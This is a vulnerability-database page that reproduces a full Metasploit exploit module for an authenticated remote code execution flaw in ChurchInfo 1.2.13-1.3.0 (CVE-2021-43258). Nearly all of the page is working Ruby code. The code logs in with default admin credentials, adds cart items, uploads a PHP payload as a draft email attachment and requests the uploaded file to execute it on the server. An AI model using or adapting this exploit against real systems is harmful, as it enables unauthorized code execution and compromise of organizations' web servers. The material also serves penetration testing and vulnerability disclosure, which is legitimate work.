Lucene search
K

ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit

🗓️ 21 Nov 2022 00:00:00Reported by m4lwhereType 
zdt
 zdt
🔗 0day.today👁 311 Views

Exploit for ChurchInfo 1.2.13-1.3.0 Authenticated RCE by crafting draft email with attachment, leading to arbitrary code execution as web daemon use

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Churchdb Churchinfo
26 Nov 202209:00
githubexploit
Circl
CVE-2021-43258
19 Nov 202201:52
circl
CNNVD
ChurchInfo 代码问题漏洞
21 Nov 202200:00
cnnvd
CNVD
ChurchInfo Arbitrary File Upload Vulnerability
23 Nov 202200:00
cnvd
CVE
CVE-2021-43258
23 Nov 202200:00
cve
Cvelist
CVE-2021-43258
23 Nov 202200:00
cvelist
Metasploit
ChurchInfo 1.2.13-1.3.0 Authenticated RCE
19 Nov 202219:50
metasploit
NVD
CVE-2021-43258
23 Nov 202219:15
nvd
OSV
CVE-2021-43258
23 Nov 202219:15
osv
Packet Storm
ChurchInfo 1.2.13-1.3.0 Remote Code Execution
21 Nov 202200:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
        'Description' => %q{
          This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
          then browsing to the location of the uploaded PHP file on the web server, arbitrary code
          execution as the web daemon user (e.g. www-data) can be achieved.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'm4lwhere <[email protected]>' ],
        'References' => [
          ['URL', 'http://www.churchdb.org/'],
          ['URL', 'http://sourceforge.net/projects/churchinfo/'],
          ['CVE', '2021-43258']
        ],
        'Platform' => 'php',
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic Targeting', { 'auto' => true }]],
        'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
        }
      )
    )
    # Set the email subject and message if interested
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
        OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
        OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
        OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
      ]
    )
  end

  def check
    if datastore['SSL'] == true
      proto_var = 'https'
    else
      proto_var = 'http'
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => target_uri.path
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to a request to its login page!')
    end

    # Check if page title is the one that ChurchInfo uses for its login page.
    if res.body.match(%r{<title>ChurchInfo: Login</title>})
      print_good('Target is ChurchInfo!')
    else
      return CheckCode::Safe('Target is not running ChurchInfo!')
    end

    # Check what version the target is running using the upgrade pages.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
    else
      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
    end
  end

  #
  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.
  # Adding items to the cart is required for the server-side code to accept the upload.
  #
  def exploit
    # Need to grab the PHP session cookie value first to pass to application
    vprint_status('Gathering PHP session cookie')
    if datastore['SSL'] == true
      vprint_status('SSL is true, changing protocol to HTTPS')
      proto_var = 'https'
    else
      vprint_status('SSL is false, leaving protocol as HTTP')
      proto_var = 'http'
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
      },
      'keep_cookies' => true
    )

    # Ensure we get a 200 from the application login page
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
    end

    # Check that we actually are targeting a ChurchInfo server.
    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
    end

    # Grab our assigned session cookie
    cookie = res.get_cookies
    vprint_good("PHP session cookie is #{cookie}")
    vprint_status('Attempting login')

    # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'POST',
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD'],
        'sURLPath' => datastore['TARGETURI']
      }
    )

    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
    end
    vprint_good("Location header is #{res.headers['Location']}")
    print_good("Logged into application as #{datastore['USERNAME']}")
    vprint_status('Attempting exploit')

    # We must add items to the cart before we can send the emails. This is a hard requirement server-side.
    print_status('Navigating to add items to cart')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
      'method' => 'GET',
      'vars_get' => {
        'mode' => 'person',
        'AddAllToCart' => 'Add+to+Cart'
      }
    )

    # Need to check that items were successfully added to the cart
    # Here we're looking through html for the version string, similar to:
    # Items in Cart: 2
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
    end
    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
    unless cart_items
      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
    end
    if cart_items['cart'].to_i < 1
      print_error('No items in cart detected')
      fail_with(Failure::UnexpectedReply,
                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
    end
    print_good("Items in Cart: #{cart_items}")

    # Uploading exploit as temporary email attachment
    print_good('Uploading exploit via temp email attachment')
    payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
    vprint_status("Payload name is #{payload_name}")

    # Create the POST payload with required parameters to be parsed by the server
    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'application/octet-stream', nil,
                       "form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
    post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
    post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
    post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
    file = post_data.to_s
    file.strip!
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'CartView.php'),
      'method' => 'POST',
      'data' => file,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    # Ensure that we get a 200 and the intended payload was
    # successfully uploaded and attached to the draft email.
    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end
    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")

    # Have our payload deleted after we exploit
    register_file_for_cleanup(payload_name)

    # Make a GET request to the PHP file that was uploaded to execute it on the target server.
    print_good('Executing payload with GET request')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
      'method' => 'GET'
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation